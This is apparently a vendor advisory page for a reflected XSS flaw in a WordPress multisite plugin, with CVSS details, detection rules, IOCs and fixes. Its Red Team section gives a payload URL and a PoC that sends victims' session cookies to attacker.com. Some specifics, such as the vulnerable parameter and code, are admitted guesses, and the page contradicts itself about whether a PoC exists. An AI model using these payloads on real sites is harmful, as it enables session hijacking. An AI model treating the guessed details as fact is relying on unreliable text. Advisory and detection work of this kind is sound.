CVE-2025-52760
Executive Summary
CVE-2025-52760 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin MultiSite Clone Duplicator by Globalis, affecting versions up to and including 1.5.3. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. The CVSS score of 7.1 (High) reflects the ease of exploitation (no authentication required) and the potential for significant impact on confidentiality, integrity, and availability. No public exploit code or patch is currently available, making this a high-priority unpatched risk for WordPress multisite administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Globalis) and consider removing or disabling the plugin until a patch is released. The lack of a patch increases supply chain risk, as the plugin may be included in managed WordPress environments or automated deployment pipelines.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated exploitation.
- User Interaction: Required (UI:R) – victim must click a crafted link.
- Scope: Changed (S:C) – injected script can affect other resources.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: Low (A:L) – limited disruption.
Threat Level: High. The vulnerability is trivial to exploit via a crafted URL, and the plugin is widely used in WordPress multisite environments. The absence of a patch means all installations are at risk.
Deep Dive & Mechanics
The vulnerability resides in the multisite-clone-duplicator plugin, which provides functionality for cloning and duplicating sites within a WordPress multisite network. The plugin fails to sanitize or escape user-supplied input before reflecting it in HTTP responses. Specifically, a parameter (likely page or action) is echoed directly into the HTML without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
- Victim (e.g., a WordPress admin) clicks the link or is redirected to it.
- The plugin processes the request and reflects the payload in the response without sanitization.
- The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the user, or redirect to malicious sites.
Root Cause: The plugin uses functions like echo $_GET['param'] or print_r($_REQUEST) without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()).
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and the expected fix.
Vulnerable Code (hypothetical):
<?php
// In a plugin file, e.g., multisite-clone-duplicator.php
$page = $_GET['page'];
echo "<div class='wrap'>Page: $page</div>";
?>
Patched Code (expected):
<?php
$page = isset($_GET['page']) ? sanitize_text_field($_GET['page']) : '';
echo "<div class='wrap'>Page: " . esc_html($page) . "</div>";
?>
The patch would use esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress multisite installation with MultiSite Clone Duplicator <= 1.5.3 active.
- A victim with administrative privileges (or any user role, depending on the vulnerable parameter).
Exploit Payload:
<!-- Crafted URL -->
http://target.com/wp-admin/network/admin.php?page=multisite-clone-duplicator&action=<script>alert('XSS')</script>
Proof-of-Concept (PoC) Script:
import requests
target = "http://target.com/wp-admin/network/admin.php"
params = {
"page": "multisite-clone-duplicator",
"action": "<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"
}
# Send the malicious link to the victim (e.g., via email)
print(f"Send victim to: {target}?page={params['page']}&action={params['action']}")
Expected Result: The victim's browser executes the injected script, sending their session cookie to the attacker's server.
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
<script>tags in query parameters. - Use WAF rules to block reflected XSS patterns (e.g.,
<script,onerror=,javascript:).
Hardening:
- Disable or remove the plugin immediately if not critical.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Apply virtual patching via WAF (e.g., ModSecurity rule:
SecRule ARGS "@rx <script" "id:1000,deny,status:403").
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-admin/network/admin.phpwith parameters containing<script>,onerror, orjavascript:. - Outbound connections to unknown IPs/domains from WordPress admin sessions.
- HTTP requests to
- File IOCs:
- Plugin file:
wp-content/plugins/multisite-clone-duplicator/multisite-clone-duplicator.php(version <= 1.5.3).
- Plugin file:
- Log IOCs:
- Web server logs showing
GET /wp-admin/network/admin.php?page=multisite-clone-duplicator&action=<script>...entries.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_52760_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against MultiSite Clone Duplicator plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-52760"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$plugin_path = "multisite-clone-duplicator"
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Reflected XSS in MultiSite Clone Duplicator
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts against the MultiSite Clone Duplicator WordPress plugin (CVE-2025-52760)
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'page=multisite-clone-duplicator'
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in admin pages (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-52760 - Reflected XSS in MultiSite Clone Duplicator"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/network/admin.php"; http_uri; content:"page=multisite-clone-duplicator"; http_uri; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and remove
multisite-clone-duplicatorfrom all WordPress installations until a patch is released. - Apply WAF rules – Block requests containing XSS patterns in query parameters.
- Monitor logs – Review web server logs for exploitation attempts.
Long-Term Fix:
- The vendor (Globalis) must release a patched version that properly escapes all user input using WordPress functions like
esc_html(),esc_attr(), orwp_kses(). - Users should update to the latest version once available.
Workaround:
- If the plugin is critical, implement a custom filter to sanitize the vulnerable parameter:
add_filter('query_vars', function($vars) {
if (isset($_GET['page']) && $_GET['page'] === 'multisite-clone-duplicator') {
$_GET['action'] = sanitize_text_field($_GET['action']);
}
return $vars;
});
Valters IT
Securing WordPress, One Plugin at a Time
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.